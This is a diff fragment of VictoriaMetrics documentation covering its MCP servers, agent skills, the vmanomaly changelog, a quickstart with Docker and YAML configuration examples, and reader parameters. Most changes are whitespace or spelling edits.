instances, seamless integration with [VictoriaMetrics APIs](https://docs.victoriametrics.com/victoriametrics/url-examples/)
|
||||
and [documentation](https://docs.victoriametrics.com/).
|
||||
|
||||
It offers a comprehensive interface for monitoring, observability, and debugging tasks related to VictoriaMetrics,
|
||||
enabling advanced automation and interaction capabilities for engineers and tools.
|
||||
|
||||
Capabilities include:
|
||||
- Query metrics and exploring data (even drawing graphs if your client supports it)
|
||||
- List and exporting available metrics, labels, labels values and entire time series
|
||||
- Analyze and testing your alerting and recording rules and alerts
|
||||
- Show parameters of your VictoriaMetrics instances
|
||||
- Explore cardinality of your data and metrics usage statistics
|
||||
- Analyze, trace, prettify and explain your queries
|
||||
- Debug your relabeling rules, downsampling and retention policy configurations
|
||||
- Integrate with [VictoriaMetrics Cloud](https://docs.victoriametrics.com/victoriametrics-cloud/)
|
||||
|
||||
> On YouTube: [How to Use an AI Assistant with Your Monitoring System – VictoriaMetrics MCP Server](https://www.youtube.com/watch?v=1k7xgbRi1k0).
|
||||
|
||||
See more details at [VictoriaMetrics/mcp-victoriametrics](https://github.com/VictoriaMetrics/mcp-victoriametrics).
|
||||
|
||||
## VictoriaLogs MCP Server
|
||||
|
||||
[VictoriaLogs MCP Server](https://github.com/VictoriaMetrics/mcp-victorialogs) provides access to VictoriaLogs instances,
|
||||
integration with [VictoriaLogs APIs](https://docs.victoriametrics.com/victorialogs/querying/#http-api) and [documentation](https://docs.victoriametrics.com/victorialogs/).
|
||||
|
||||
It provides a comprehensive interface for working with logs and performing observability and debugging tasks related to VictoriaLogs.
|
||||
|
||||
Capabilities include:
|
||||
- Querying logs and exploring logs data
|
||||
- Showing parameters of your VictoriaLogs instances
|
||||
- Listing available streams, fields, field values
|
||||
- Query statistics for the logs as metrics
|
||||
|
||||
See more details at [VictoriaMetrics/mcp-victorialogs](https://github.com/VictoriaMetrics/mcp-victorialogs).
|
||||
|
||||
## VictoriaTraces MCP Server
|
||||
|
||||
[VictoriaTraces MCP Server](https://github.com/VictoriaMetrics/mcp-victoriatraces) provides access to VictoriaTraces instances,
|
||||
integration with [VictoriaTraces APIs](https://docs.victoriametrics.com/victoriatraces/querying/#http-api) and [documentation](https://docs.victoriametrics.com/victoriatraces/).
|
||||
|
||||
It enables AI assistants and tools to interact with distributed tracing data for observability and debugging tasks.
|
||||
|
||||
Capabilities include:
|
||||
- Get services and operations (span names)
|
||||
- Query traces, explore and analyze traces data
|
||||
|
||||
See more details at [VictoriaMetrics/mcp-victoriatraces](https://github.com/VictoriaMetrics/mcp-victoriatraces).
|
||||
|
||||
## vmanomaly MCP Server
|
||||
|
||||
[vmanomaly MCP Server](https://github.com/VictoriaMetrics/mcp-vmanomaly) provides seamless integration with vmanomaly
|
||||
REST API and documentation for AI-assisted anomaly detection, model management, and observability insights.
|
||||
|
||||
Capabilities include:
|
||||
- Health Monitoring: Check `vmanomaly` server health and build information
|
||||
- Model Management: List, validate, and configure anomaly detection models (like `zscore_online`, `prophet`, and more)
|
||||
- Configuration Generation: Generate complete `vmanomaly` YAML configurations
|
||||
- Alert Rule Generation: Generate [`vmalert`](https://docs.victoriametrics.com/victoriametrics/vmalert/) [alerting rules](https://docs.victoriametrics.com/victoriametrics/vmalert/#alerting-rules) based on [anomaly score metrics](https://docs.victoriametrics.com/anomaly-detection/faq/#what-is-anomaly-score) to simplify alerting setup
|
||||
- Documentation Search: Full-text search across embedded `vmanomaly` documentation with fuzzy matching
|
||||
|
||||
See more details at [VictoriaMetrics/mcp-vmanomaly](https://github.com/VictoriaMetrics/mcp-vmanomaly).
|
||||
|
||||
|
||||
# Agent Skills
|
||||
|
||||
[Agent skills](https://github.com/VictoriaMetrics/skills) help AI agents and automation tools understand, operate,
|
||||
and troubleshoot VictoriaMetrics observability components, including metrics, logs, and traces.
|
||||
|
||||
These skills provide predefined workflows and capabilities such as:
|
||||
* Query metrics, logs, traces and alerts
|
||||
* Query trace analysis
|
||||
* Multi-signal investigations
|
||||
* Cardinality optimization
|
||||
* Unused metric detection
|
||||
|
||||
To install the available skills for AI agents, run:
|
||||
```sh
|
||||
npx skills add VictoriaMetrics/skills
|
||||
```
|
||||
|
||||
See more details at [VictoriaMetrics/skills](https://github.com/VictoriaMetrics/skills).
|
||||
@@ -1,19 +0,0 @@
|
||||
---
|
||||
title: AI tools
|
||||
weight: 61
|
||||
menu:
|
||||
docs:
|
||||
weight: 61
|
||||
identifier: ai-tools
|
||||
tags:
|
||||
- metrics
|
||||
- logs
|
||||
- traces
|
||||
- AI
|
||||
- AI integration
|
||||
- agent
|
||||
- assistant
|
||||
- MCP server
|
||||
|
||||
---
|
||||
{{% content "README.md" %}}
|
||||
@@ -118,7 +118,7 @@ Released: 2025-10-09
|
||||
```
|
||||
This happened in scenarios with a large number of queries (e.g., in non-sharded deployments). Now the pool size is set dynamically to prevent such warnings and retain efficient connection reuse.
|
||||
|
||||
## v1.26.1
|
||||
## v1.26.1
|
||||
Released: 2025-10-08
|
||||
|
||||
- IMPROVEMENT: Enriched lifecycle logs with the deterministic labelset hash for each query result (metric). This allows correlating model training, inference runs/skips, and on-disk artifacts presence or cleanup during incident triage.
|
||||
@@ -128,7 +128,7 @@ Released: 2025-10-02
|
||||
|
||||
- FEATURE: Introduced vmui-like [UI](https://docs.victoriametrics.com/anomaly-detection/ui/) for `vmanomaly` service to simplify the configuration and backtesting of anomaly detection models before it goes to production. It provides an intuitive interface to finetune model configurations, visualize its predictions and anomaly scores, and perform backtesting on historical data. The UI is accessible via a web browser and can be run as a [standalone service](https://docs.victoriametrics.com/anomaly-detection/ui/#preset-usage) or [integrated with productionalized deployments](https://docs.victoriametrics.com/anomaly-detection/ui/#mixed-usage). For more details, refer to the [documentation](https://docs.victoriametrics.com/anomaly-detection/ui/).
|
||||
|
||||
- FEATURE: Added support for reading data from [VictoriaLogs stats queries](https://docs.victoriametrics.com/victorialogs/querying/#querying-log-range-stats) with `VLogsReader`. This reader allows querying and analyzing log data stored in VictoriaLogs, enabling anomaly detection on metrics generated from logs. It supports similar configuration options as `VmReader`, including `datasource_url`, `tenant_id`, `queries`, etc. For more details, refer to the [documentation](https://docs.victoriametrics.com/anomaly-detection/components/reader/#vlogs-reader). It can be also used in [UI mode](https://docs.victoriametrics.com/anomaly-detection/ui/) for backtesting log-based anomaly detection configurations.
|
||||
- FEATURE: Added support for reading data from [VictoriaLogs stats queries](https://docs.victoriametrics.com/victorialogs/querying/#querying-log-range-stats) with `VLogsReader`. This reader allows quering and analyzing log data stored in VictoriaLogs, enabling anomaly detection on metrics generated from logs. It supports similar configuration options as `VmReader`, including `datasource_url`, `tenant_id`, `queries`, etc. For more details, refer to the [documentation](https://docs.victoriametrics.com/anomaly-detection/components/reader/#vlogs-reader). It can be also used in [UI mode](https://docs.victoriametrics.com/anomaly-detection/ui/) for backtesting log-based anomaly detection configurations.
|
||||
|
||||
- IMPROVEMENT: Resolved the case in the [`IsolationForestModel`](https://docs.victoriametrics.com/anomaly-detection/components/models/#isolation-forest-multivariate) with `provide_series` common model [argument](https://docs.victoriametrics.com/anomaly-detection/components/models/#provide-series) including `yhat.*` series (prediction and confidence boundaries), which are not produced by this model. Now config validation will fail with a clear error message if such series names are requested.
|
||||
|
||||
@@ -183,7 +183,7 @@ Released: 2025-07-17
|
||||
|
||||
- FEATURE: Added an option to reference environment variables in [configuration files](https://docs.victoriametrics.com/anomaly-detection/components/) using scalar string placeholders `%{ENV_NAME}`. See the [environment variables](https://docs.victoriametrics.com/anomaly-detection/components/#environment-variables) section for more details and examples. This feature is particularly useful for managing sensitive information like API keys or database credentials while still making it accessible to the service.
|
||||
|
||||
- IMPROVEMENT: Added `iqr_threshold` to [OnlineQuantileModel](https://docs.victoriametrics.com/anomaly-detection/components/models/#online-seasonal-quantile) to refine the prediction boundaries without the need to manually adjusting `scale` [argument](https://docs.victoriametrics.com/anomaly-detection/components/models/#scale). Best set as >= 2 and used with smaller, robust quantiles (e.g. `(0.25, 0.5, 0.75)`) to both reduce the impact of outliers on the prediction boundaries and increase the likelihood of having "non-anomalous" data within updated boundaries.
|
||||
- IMPROVEMENT: Added `iqr_threshold` to [OnlineQuantileModel](https://docs.victoriametrics.com/anomaly-detection/components/models/#online-seasonal-quantile) to refine the prediction boundaries without the need to manually adjusting `scale` [argument](https://docs.victoriametrics.com/anomaly-detection/components/models/#scale). Best set as >= 2 and used with smaller, robust quantiles (e.g. `(0.25, 0.5, 0.75)`) to both reduce the impact of outliers on the prediction boundaries and increase the likelyhood of having "non-anomalous" data within updated boundaries.
|
||||
|
||||
- IMPROVEMENT: Fixed duplicated calls to VictoriaMetrics' in [reader](https://docs.victoriametrics.com/anomaly-detection/components/reader/#vm-reader) for queries in `reader.queries` that are attached to multiple models in `models` [section](https://docs.victoriametrics.com/anomaly-detection/components/models/#queries) where previously, each model would independently fetch for the same query, leading to unnecessary load on the reader and VictoriaMetrics TSDB. Now, the reader will only be called once per unique (scheduler_alias, query_key) pair, and the results will be shared across all models that use the same query in the same scheduler.
|
||||
|
||||
@@ -285,7 +285,7 @@ Released: 2025-03-03
|
||||
> This release contains a bug introduced in [v1.18.7](#v1187) - [`PeriodicScheduler`](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/#periodic-scheduler) where configurations with `fit_every` > `fit_window` could cause inference to be skipped for |fit_every - fit_window| time, until the next `fit_every` call happens. For `fit_every` > `fit_window` configurations we recommend upgrading to [v1.20.1](#v1201), which resolves this issue.
|
||||
|
||||
- FEATURE: The `scale` argument is now a [common argument](https://docs.victoriametrics.com/anomaly-detection/components/models/#scale), previously supported only by [`ProphetModel`](https://docs.victoriametrics.com/anomaly-detection/components/models/#prophet) and [`OnlineQuantileModel`](https://docs.victoriametrics.com/anomaly-detection/components/models/#online-seasonal-quantile). Additionally, `scale` is now **two-sided**, represented as `[scale_lb, scale_ub]`. The previous format (`scale: x`) remains supported and will be automatically converted to `scale: [x, x]`.
|
||||
|
||||
|
||||
- FEATURE: Introduced a post-processing step to clip `yhat`, `yhat_lower`, and `yhat_upper` to the configured `data_range` [values](https://docs.victoriametrics.com/anomaly-detection/components/reader/) in `VmReader`, if defined. This feature is disabled by default for backward compatibility. It can be enabled for models that generate predictions and estimates, such as [`ProphetModel`](https://docs.victoriametrics.com/anomaly-detection/components/models/#prophet), by setting the [common argument](https://docs.victoriametrics.com/anomaly-detection/components/models/#clip-predictions) `clip_predictions` to `True`.
|
||||
|
||||
- IMPROVEMENT: Introduced the `anomaly_score_outside_data_range` [parameter](https://docs.victoriametrics.com/anomaly-detection/components/models/#score-outside-data-range) to allow overriding the default anomaly score (`1.01`) assigned when input values (`y`) fall outside the defined `data_range` (data domain violation). It improves flexibility for alerting rules and enables clearer visual distinction between different anomaly scenarios. Override can be configured at the **service level** (`settings`) or per **model instance** (`models.model_xxx`), with model-level values taking priority. If not explicitly set, the default anomaly score remains `1.01` for backward compatibility.
|
||||
@@ -320,8 +320,8 @@ Released: 2025-01-20
|
||||
> This release contains a bug introduced in [v1.18.7](#v1187) - [`PeriodicScheduler`](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/#periodic-scheduler) where configurations with `fit_every` > `fit_window` could cause inference to be skipped for |fit_every - fit_window| time, until the next `fit_every` call happens. For `fit_every` > `fit_window` configurations we recommend upgrading to [v1.20.1](#v1201), which resolves this issue.
|
||||
|
||||
- FEATURE: Added support for per-query `tenant_id` in the [`VmReader`](https://docs.victoriametrics.com/anomaly-detection/components/reader/#vm-reader). This allows overriding the reader-level `tenant_id` within a single global `vmanomaly` configuration on a *per-query* basis, enabling isolation of data for different tenants in separate queries when querying the [VictoriaMetrics cluster version](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/). For details, see the [documentation](https://docs.victoriametrics.com/anomaly-detection/components/reader/#per-query-parameters).
|
||||
- IMPROVEMENT: Speedup the model infer stage on multicore systems.
|
||||
- IMPROVEMENT: Speedup the model fitting stage by 1.25-3x, depending on configuration complexity.
|
||||
- IMPROVEMEMT: Speedup the model infer stage on multicore systems.
|
||||
- IMPROVEMEMT: Speedup the model fitting stage by 1.25-3x, depending on configuration complexity.
|
||||
- IMPROVEMENT: Reduced service RAM usage by 5-10%, depending on configuration complexity.
|
||||
- BUGFIX: Now [`VmReader`](https://docs.victoriametrics.com/anomaly-detection/components/reader/#vm-reader) properly handles the cases where the number of queries processed in parallel (up to `reader.queries` cardinality) exceeds the default limit of 10 HTTP(S) connections, preventing potential data loss from discarded queries. The pool limit will automatically adjust to match `reader.queries` cardinality.
|
||||
- BUGFIX: Corrected the construction of write endpoints for cluster VictoriaMetrics `url`s (`tenant_id` arg is set) in `monitoring.push` [section configurations](https://docs.victoriametrics.com/anomaly-detection/components/monitoring/#push-config-parameters).
|
||||
@@ -499,7 +499,7 @@ Released: 2024-08-26
|
||||
|
||||
## v1.15.5
|
||||
Released: 2024-08-19
|
||||
- BUGFIX: following [v1.15.2](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1152) online model enhancement, now `data_range` parameter is correctly initialized for online models, created (for new time series returned by particular query) during `infer` calls.
|
||||
- BUGFIX: following [v1.15.2](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1152) online model enhancement, now `data_range` parameter is correctly initialized for online models, created (for new time series returned by particular query) during `infer` calls.
|
||||
|
||||
## v1.15.4
|
||||
Released: 2024-08-15
|
||||
@@ -539,7 +539,7 @@ Released: 2024-08-06
|
||||
|
||||
- FEATURE: Introduced the `optimized_business_params` key (list of strings) to the [`AutoTuned`](https://docs.victoriametrics.com/anomaly-detection/components/models/#autotuned) `optimization_params`. This allows particular business-specific parameters such as [`detection_direction`](https://docs.victoriametrics.com/anomaly-detection/components/models/#detection-direction) and [`min_dev_from_expected`](https://docs.victoriametrics.com/anomaly-detection/components/models/#minimal-deviation-from-expected) to remain **unchanged during optimizations, retaining their default values**.
|
||||
- IMPROVEMENT: Optimized the [`AutoTuned`](https://docs.victoriametrics.com/anomaly-detection/components/models/#autotuned) model logic to minimize deviations from the expected `anomaly_percentage` specified in the configuration and the detected percentage in the data, while also reducing discrepancies between the actual values (`y`) and the predictions (`yhat`).
|
||||
- IMPROVEMENT: Allow [`ProphetModel`](https://docs.victoriametrics.com/anomaly-detection/components/models/#prophet) to fit with multiple seasonalities when used in [`AutoTuned`](https://docs.victoriametrics.com/anomaly-detection/components/models/#autotuned) mode.
|
||||
- IMPROVEMENT: Allow [`ProphetModel`](https://docs.victoriametrics.com/anomaly-detection/components/models/#prophet) to fit with multiple seasonalities when used in [`AutoTuned`](https://docs.victoriametrics.com/anomaly-detection/components/models/#autotuned) mode.
|
||||
|
||||
## v1.14.2
|
||||
Released: 2024-07-26
|
||||
@@ -590,10 +590,10 @@ Released: 2024-03-31
|
||||
Released: 2024-02-22
|
||||
- FEATURE: Multi-scheduler support. Now users can use multiple [model specs](https://docs.victoriametrics.com/anomaly-detection/components/models/) in a single config (via aliasing), each spec can be run with its own (even multiple) [schedulers](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/).
|
||||
- Introduction of `schedulers` arg in model spec:
|
||||
- It allows each model to be managed by 1 (or more) schedulers, so overall resource usage is optimized and flexibility is preserved.
|
||||
- It allows each model to be managed by 1 (or more) schedulers, so overall resource usage is optimized and flexibility is preserved.
|
||||
- Passing an empty list or not specifying this param implies that each model is run in **all** the schedulers, which is a backward-compatible behavior.
|
||||
- Please find more details in docs on [Model section](https://docs.victoriametrics.com/anomaly-detection/components/models/#schedulers)
|
||||
- DEPRECATION: slight refactor of a scheduler config section
|
||||
- DEPRECATION: slight refactor of a scheduler config section
|
||||
- Now schedulers are passed as a mapping of `scheduler_alias: scheduler_spec` under [scheduler](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/) sections. Using old format (< [1.11.0](https://docs.victoriametrics.com/anomaly-detection/changelog/#v1110)) will produce warnings for now and will be removed in future versions.
|
||||
- DEPRECATION: The `--watch` CLI option for config file reloads is deprecated and will be ignored in the future.
|
||||
|
||||
@@ -601,11 +601,11 @@ Released: 2024-02-22
|
||||
Released: 2024-02-15
|
||||
- FEATURE: Multi-model support. Now users can specify multiple [model specs](https://docs.victoriametrics.com/anomaly-detection/components/models/) in a single config (via aliasing), as well as to reference what [queries from VmReader](https://docs.victoriametrics.com/anomaly-detection/components/reader/#config-parameters) it should be run on.
|
||||
- Introduction of `queries` arg in model spec:
|
||||
- It allows the model to be executed only on a particular query subset from `reader` section.
|
||||
- It allows the model to be executed only on a particular query subset from `reader` section.
|
||||
- Passing an empty list or not specifying this param implies that each model is run on results from **all** queries, which is a backward-compatible behavior.
|
||||
- Please find more details in docs on [Model section](https://docs.victoriametrics.com/anomaly-detection/components/models/#queries)
|
||||
|
||||
- DEPRECATION: slight refactor of a model config section
|
||||
- DEPRECATION: slight refactor of a model config section
|
||||
- Now models are passed as a mapping of `model_alias: model_spec` under [model](https://docs.victoriametrics.com/anomaly-detection/components/models/) sections. Using old format (<= [1.9.2](https://docs.victoriametrics.com/anomaly-detection/changelog/#v192)) will produce warnings for now and will be removed in future versions.
|
||||
- Please find more details in docs on [Model section](https://docs.victoriametrics.com/anomaly-detection/components/models/)
|
||||
- IMPROVEMENT: now logs from [`monitoring.pull`](https://docs.victoriametrics.com/anomaly-detection/components/monitoring/#monitoring-section-config-example) GET requests to `/metrics` endpoint are shown only in DEBUG mode
|
||||
@@ -656,7 +656,7 @@ Released: 2023-12-21
|
||||
|
||||
## v1.6.0
|
||||
Released: 2023-10-30
|
||||
- IMPROVEMENT:
|
||||
- IMPROVEMENT:
|
||||
- now all the produced healthcheck metrics have `vmanomaly_` prefix for easier accessing.
|
||||
- updated docs for monitoring.
|
||||
> This is an backward-incompatible change, as metric names will be changed, resulting in new metrics creation, i.e. `model_datapoints_produced` will become `vmanomaly_model_datapoints_produced`
|
||||
@@ -669,19 +669,19 @@ Released: 2023-10-30
|
||||
|
||||
## v1.5.1
|
||||
Released: 2023-09-18
|
||||
- IMPROVEMENT: Infer from the latest seen datapoint for each query. Handles the case datapoints arrive late.
|
||||
- IMPROVEMENT: Infer from the latest seen datapoint for each query. Handles the case datapoints arrive late.
|
||||
|
||||
|
||||
## v1.5.0
|
||||
Released: 2023-08-11
|
||||
- FEATURE: add `--license` and `--license-file` command-line flags for license code verification.
|
||||
- FEATURE: add `--license` and `--license-file` command-line flags for license code verification.
|
||||
- IMPROVEMENT: Updated Python to 3.11.4 and updated dependencies.
|
||||
- IMPROVEMENT: Guide documentation for Custom Model usage.
|
||||
|
||||
|
||||
## v1.4.2
|
||||
Released: 2023-06-09
|
||||
- BUGFIX: Fix case with received metric labels overriding generated.
|
||||
- BUGFIX: Fix case with received metric labels overriding generated.
|
||||
|
||||
|
||||
## v1.4.1
|
||||
|
||||
@@ -39,7 +39,7 @@ This section outlines the compatibility of different `vmanomaly` versions with v
|
||||
|
||||
> Used if `settings.restore_state` is set to `true`. See argument details in the [configuration documentation](https://docs.victoriametrics.com/anomaly-detection/components/settings/#state-restoration).
|
||||
|
||||
There are 2 types of compatibility to consider when migrating in stateful mode:
|
||||
There are 2 types of compatibilitity to consider when migrating in stateful mode:
|
||||
- **Global (in)compatibility**: The new version can seamlessly read and utilize the existing state without any modifications or data loss. Or, in case of incompatibility, the existing state must be dropped completely to proceed with the migration.
|
||||
- **Component (in)compatibility**: The new version may introduce changes that affect specific components (e.g., specific models, data formats) but can still operate with the existing state with some adjustments or drop of incompatible on disk artifacts.
|
||||
|
||||
|
||||
@@ -30,7 +30,7 @@ The following options are available:
|
||||
|
||||
### Command-line arguments
|
||||
|
||||
The `vmanomaly` service supports a set of command-line arguments to configure its behavior, including options for licensing, logging levels, and more.
|
||||
The `vmanomaly` service supports a set of command-line arguments to configure its behavior, including options for licensing, logging levels, and more.
|
||||
|
||||
> `vmanomaly` supports {{% available_from "v1.18.5" anomaly %}} running on config **directories**, see the `config` positional arg description in help message below.
|
||||
|
||||
@@ -49,7 +49,7 @@ options:
|
||||
-h Show this help message and exit
|
||||
--license STRING License key for VictoriaMetrics Enterprise. See https://victoriametrics.com/products/enterprise/trial/ to obtain a trial license.
|
||||
--licenseFile PATH Path to file with license key for VictoriaMetrics Enterprise. See https://victoriametrics.com/products/enterprise/trial/ to obtain a trial license.
|
||||
--license.forceOffline
|
||||
--license.forceOffline
|
||||
Whether to force offline verification for VictoriaMetrics Enterprise license key, which has been passed either via -license or via -licenseFile command-line flag. The issued
|
||||
license key must support offline verification feature. Contact info@victoriametrics.com if you need offline license verification.
|
||||
--loggerLevel {DEBUG,WARNING,FATAL,ERROR,INFO}
|
||||
@@ -91,7 +91,7 @@ groups:
|
||||
severity: warning
|
||||
annotations:
|
||||
summary: "{{ $labels.job }} instance {{ $labels.instance }} license expires in less than 30 days"
|
||||
description: "{{ $labels.instance }} of job {{ $labels.job }} license expires in {{ $value | humanizeDuration }}.
|
||||
description: "{{ $labels.instance }} of job {{ $labels.job }} license expires in {{ $value | humanizeDuration }}.
|
||||
Please make sure to update the license before it expires."
|
||||
|
||||
- alert: LicenseExpiresInLessThan7Days
|
||||
@@ -100,18 +100,18 @@ groups:
|
||||
severity: critical
|
||||
annotations:
|
||||
summary: "{{ $labels.job }} instance {{ $labels.instance }} license expires in less than 7 days"
|
||||
description: "{{ $labels.instance }} of job {{ $labels.job }} license expires in {{ $value | humanizeDuration }}.
|
||||
description: "{{ $labels.instance }} of job {{ $labels.job }} license expires in {{ $value | humanizeDuration }}.
|
||||
Please make sure to update the license before it expires."
|
||||
```
|
||||
|
||||
### Docker
|
||||
|
||||
> To run `vmanomaly`, you need to have VictoriaMetrics Enterprise license. You can get a trial license key [**here**](https://victoriametrics.com/products/enterprise/trial/). <br><br>
|
||||
> Due to the upcoming [DockerHub pull limits](https://docs.docker.com/docker-hub/usage/pulls), an additional image registry, **Quay.io**, has been introduced for VictoriaMetrics images, including [`vmanomaly`](https://quay.io/repository/victoriametrics/vmanomaly). If you encounter pull rate limits, switch from:
|
||||
> Due to the upcoming [DockerHub pull limits](https://docs.docker.com/docker-hub/usage/pulls), an additional image registry, **Quay.io**, has been introduced for VictoriaMetrics images, including [`vmanomaly`](https://quay.io/repository/victoriametrics/vmanomaly). If you encounter pull rate limits, switch from:
|
||||
> ```
|
||||
> docker pull victoriametrics/vmanomaly:vX.Y.Z
|
||||
> ```
|
||||
> to:
|
||||
> to:
|
||||
> ```
|
||||
> docker pull quay.io/victoriametrics/vmanomaly:vX.Y.Z
|
||||
> ```
|
||||
@@ -197,7 +197,7 @@ volumes:
|
||||
# ...
|
||||
# Enable if on-disk mode over in-memory is preferred
|
||||
# Required, if settings.restore_state is True
|
||||
vmanomaly_data: {}
|
||||
vmanomaly_data: {}
|
||||
```
|
||||
|
||||
For a complete docker-compose example please refer to [our alerting guide](https://docs.victoriametrics.com/anomaly-detection/guides/guide-vmanomaly-vmalert/), chapter [docker-compose](https://docs.victoriametrics.com/anomaly-detection/guides/guide-vmanomaly-vmalert/#docker-compose)
|
||||
@@ -226,8 +226,8 @@ If you are using [VM Operator](https://docs.victoriametrics.com/operator/) to ma
|
||||
|
||||
To run `vmanomaly`, use YAML files or directories containing YAML files. The configuration files support shallow merge, allowing splitting the configuration into multiple files for better organization.
|
||||
|
||||
> If you are using directories, all `.yaml` files inside will be shallow merged, without deeper recursion. If you want to merge multiple YAML files, you can specify them as separate arguments, e.g.
|
||||
> ```shellhelp
|
||||
> If you are using directories, all `.yaml` files inside will be shallow merged, without deeper recursion. If you want to merge multiple YAML files, you can specify them as separate arguments, e.g.
|
||||
> ```shellhelp
|
||||
> vmanomaly config1.yaml config2.yaml ./config_dir/
|
||||
> ```
|
||||
|
||||
@@ -245,7 +245,7 @@ settings:
|
||||
restore_state: true # restore state from previous run, available since v1.24.0
|
||||
# https://docs.victoriametrics.com/anomaly-detection/components/settings/#logger-levels
|
||||
# to override service-global logger levels, use the `logger_levels` section
|
||||
logger_levels:
|
||||
logger_levels:
|
||||
# vmanomaly: INFO
|
||||
# scheduler: INFO
|
||||
# reader: INFO
|
||||
@@ -288,11 +288,11 @@ reader:
|
||||
datasource_url: "https://play.victoriametrics.com/" # [YOUR_DATASOURCE_URL]
|
||||
tenant_id: '0:0'
|
||||
sampling_period: "5m"
|
||||
queries:
|
||||
queries:
|
||||
# define your queries with MetricsQL - https://docs.victoriametrics.com/victoriametrics/metricsql/
|
||||
cpu_user:
|
||||
expr: 'sum(rate(node_cpu_seconds_total{mode=~"user"}[10m])) by (container)'
|
||||
max_datapoints_per_query: 15000 # to deal with longer queries hitting search.MaxPointsPerTimeseries
|
||||
max_datapoints_per_query: 15000 # to deal with longer queries hitting seach.MaxPointsPerTimeseries
|
||||
# other queries ...
|
||||
|
||||
writer:
|
||||
@@ -361,7 +361,7 @@ writer:
|
||||
|
||||
{{% /collapse %}}
|
||||
|
||||
{{% collapse name="Playground on VictoriaTraces Datasource" %}}
|
||||
{{% collapse name="Playground on VictoriaTraces Datasource" %}}
|
||||
|
||||
<div class="position-relative mb-3">
|
||||
<button
|
||||
@@ -400,9 +400,9 @@ For optimal service behavior, consider the following tweaks when configuring `vm
|
||||
- Set up **config hot-reloading** {{% available_from "v1.25.0" anomaly %}} to automatically reload configurations on config files changes. This can be enabled via the `--watch` [CLI argument](https://docs.victoriametrics.com/anomaly-detection/quickstart/#command-line-arguments) and allows for configuration updates without explicit service restarts.
|
||||
|
||||
**Schedulers**:
|
||||
- Configure the **inference frequency** in the [scheduler](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/) section of the configuration file.
|
||||
- Ensure that `infer_every` aligns with your **minimum required alerting frequency**.
|
||||
- For example, if receiving **alerts every 15 minutes** is sufficient (when `anomaly_score > 1`), set `infer_every` to match `reader.sampling_period` or override it per query via `reader.queries.query_xxx.step` for an optimal setup.
|
||||
- Configure the **inference frequency** in the [scheduler](https://docs.victoriametrics.com/anomaly-detection/components/scheduler/) section of the configuration file.
|
||||
- Ensure that `infer_every` aligns with your **minimum required alerting frequency**.
|
||||
- For example, if receiving **alerts every 15 minutes** is sufficient (when `anomaly_score > 1`), set `infer_every` to match `reader.sampling_period` or override it per query via `reader.queries.query_xxx.step` for an optimal setup.
|
||||
|
||||
**Reader**:
|
||||
- Setup the datasource to read data from in the [reader](https://docs.victoriametrics.com/anomaly-detection/components/reader/) section. Include tenant ID if using a [cluster version of VictoriaMetrics](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/) (`multitenant` value {{% available_from "v1.16.2" anomaly %}} can be also used here).
|
||||
|
||||
@@ -76,7 +76,7 @@ There is change {{% available_from "v1.13.0" anomaly %}} of [`queries`](https://
|
||||
|
||||
- `data_range`{{% available_from "v1.15.1" anomaly %}} (list[float | string]): It allows defining **valid** data ranges for input per individual query in `queries`, resulting in:
|
||||
- **High anomaly scores** (>1) when the *data falls outside the expected range*, indicating a data range constraint violation (e.g. improperly configured metricsQL query, sensor malfunction, overflows in underlying metrics, etc.). Anomaly scores can be set to a specific value, like `5`, to indicate a strong violation, using the `anomaly_score_outside_data_range` [arg](https://docs.victoriametrics.com/anomaly-detection/components/models/#score-outside-data-range) of a respective model this query is used in.
|
||||
- **Lowest anomaly scores** (=0) when the *model's predictions (`yhat`) fall outside the expected range*, meaning uncertain predictions that does not really align with the data.
|
||||
- **Lowest anomaly scores** (=0) when the *model's predictions (`yhat`) fall outside the expected range*, meaning uncertain predictions that does not really aligh with the data.
|
||||
|
||||
Works together with `anomaly_score_outside_data_range` [arg](https://docs.victoriametrics.com/anomaly-detection/components/models/#score-outside-data-range) of a model to determine the anomaly score for such cases as well as with `clip_predictions` [arg](https://docs.victoriametrics.com/anomaly-detection/components/models/#clip-predictions) of a model to clip the predictions to the expected range.
|
||||
|
||||
@@ -95,7 +95,7 @@ There is change {{% available_from "v1.13.0" anomaly %}} of [`queries`](https://
|
||||
|
||||
> The recommended approach for using per-query `tenant_id`s is to set both `reader.tenant_id` and `writer.tenant_id` to `multitenant`. See [this section](https://docs.victoriametrics.com/anomaly-detection/components/writer/#multitenancy-support) for more details. Configurations where `reader.tenant_id` equals `writer.tenant_id` and is not `multitenant` are also considered safe, provided there is a single, DISTINCT `tenant_id` defined in the reader (either at the reader level or the query level, if set).
|
||||
|
||||
- `offset` {{% available_from "v1.25.3" anomaly %}} (string): this optional argument allows specifying a time offset for the query, which can be useful for adjusting the query time range to account for data collection delays or other timing issues. The offset is specified as a string (e.g., "15s", "-20s") and will be applied to the query time range. Valid resolutions are `ms`, `s`, `m`, `h`, `d` (milliseconds, seconds, minutes, hours, days). If not set, defaults to `0s` (0). See [FAQ](https://docs.victoriametrics.com/anomaly-detection/faq/#using-offsets) for more details.
|
||||
- `offset` {{% available_from "v1.25.3" anomaly %}} (string): this optional argument allows specifying a time offset for the query, which can be useful for adjusting the query time range to account for data collection delays or other timing issues. The offset is specified as a string (e.g., "15s", "-20s") and will be applied to the query time range. Valid resolutions are `ms`, `s`, `m`, `h`, `d` (miliseconds, seconds, minutes, hours, days). If not set, defaults to `0s` (0). See [FAQ](https://docs.victoriametrics.com/anomaly-detection/faq/#using-offsets) for more details.
|
||||
|
||||
### Per-query config example
|
||||
```yaml
|
||||
@@ -133,7 +133,7 @@ reader:
|
||||
<tr>
|
||||
<th>Parameter</th>
|
||||
<th>Example</th>
|
||||
<th><span style="white-space: nowrap;">Description</span></th>
|
||||
<th><span style="white-space: nowrap;">Description</span></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
@@ -276,8 +276,8 @@ Timeout for the requests, passed as a string
|
||||
`false`
|
||||
</td>
|
||||
<td>
|
||||
Verify TLS certificate. If `False`, it will not verify the TLS certificate.
|
||||
If `True`, it will verify the certificate using the system's CA store.
|
||||
Verify TLS certificate. If `False`, it will not verify the TLS certificate.
|
||||
